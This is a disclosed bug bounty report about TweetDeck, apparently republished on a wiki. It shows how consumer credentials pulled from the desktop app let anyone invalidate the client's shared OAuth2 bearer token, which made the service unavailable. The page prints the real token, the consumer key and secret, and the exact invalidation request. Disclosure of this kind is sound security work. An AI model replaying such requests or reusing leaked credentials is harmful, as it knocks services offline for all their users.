[Urgent] Invalidating OAuth2 Bearer token makes TweetDeck unavailable
The OAuth2 bearer token hardcoded in the TweetDeck client could be invalidated by anyone who extracted the client's consumer key and secret from the desktop app. Doing so caused every TweetDeck request to fail with an invalid or expired token error, making the service unavailable.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 4 months
- Paid in 13 days
- Disclosed after 2.1 years
First of all, really sorry for the unintentional DoS :( I was testing it with a fresh bearer token but copied the production one accidentally.
#Details I've noticed that TweetDeck is using OAuth2 to issue requests (Authorization Bearer token):
GET https://api.twitter.com/1.1/help/settings.json?settings_version= HTTP/1.1
Host: api.twitter.com
Connection: keep-alive
Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAF7aAAAAAAAAi95Q2QkUrMfOxflMJIWoZ3JcvJw%3DOLBx5qSvcDbL37ad9Moq9MtZN2yYQ0r6zKtIupfa5AEbVAoZnM
Origin: https://tweetdeck.twitter.com
X-Csrf-Token: 2170b7f455955368495bc191ed67c892
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/plain, */*; q=0.01
X-Twitter-Auth-Type: OAuth2Session
X-Twitter-Client-Version: Twitter-TweetDeck-blackbird-chrome/4.0.170302174617 web/
Referer: https://tweetdeck.twitter.com/
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
According to the documentation, with a valid consumer key and consumer secret pair, one can generate or invalidate existing bearer token: https://dev.twitter.com/oauth/reference/post/oauth2/invalidate/token
Now, it can be guessed that the hardcoded bearer token used in TweetDeck belongs to the TweetDeck client. The consumer key and consumer secret can be extracted from the desktop application:
Consumer key: yT577ApRtZw51q4NPMPPOQ
Consumer secret: 3neq3XqN5fO3obqwZoajavGFCUrC42ZfbrLXy5sCv8
Apparently, anyone can invalidate the bearer token while issuing token invalidation request:
POST https://api.twitter.com/oauth2/invalidate_token HTTP/1.1
Authorization: Basic eVQ1NzdBcFJ0Wnc1MXE0TlBNUFBPUTozbmVxM1hxTjVmTzNvYnF3Wm9hamF2R0ZDVXJDNDJaZmJyTFh5NXNDdjg=
Host: api.twitter.com
Content-Length: 125
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
access_token=AAAAAAAAAAAAAAAAAAAAAF7aAAAAAAAAi95Q2QkUrMfOxflMJIWoZ3JcvJw%3DOLBx5qSvcDbL37ad9Moq9MtZN2yYQ0r6zKtIupfa5AEbVAoZnM
And suddenly all the requests on TweetDeck result in {"errors":[{"code":89,"message":"Invalid or expired token."}]}.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the client's OAuth2 consumer key and secret were shipped inside the desktop application, so anyone could use them to invalidate the shared bearer token.
Impact
Invalidating the shared token made TweetDeck unavailable for all users, as the reporter unintentionally demonstrated.
What the attacker needed
Access to the TweetDeck desktop app; network access to the token endpoint
How it was found
- Observe that TweetDeck sends requests with an OAuth2 bearer token.
- Extract the consumer key and consumer secret from the desktop application.
- Send a token invalidation request using those credentials and the bearer token.
- See that all TweetDeck requests then return an invalid or expired token error.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
TweetDeck sent requests using a fixed bearer token built into the app. The app also contained the consumer key and secret needed to manage that token, which could be pulled out of the desktop program. With them, a person could invalidate the token, after which all TweetDeck requests failed.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.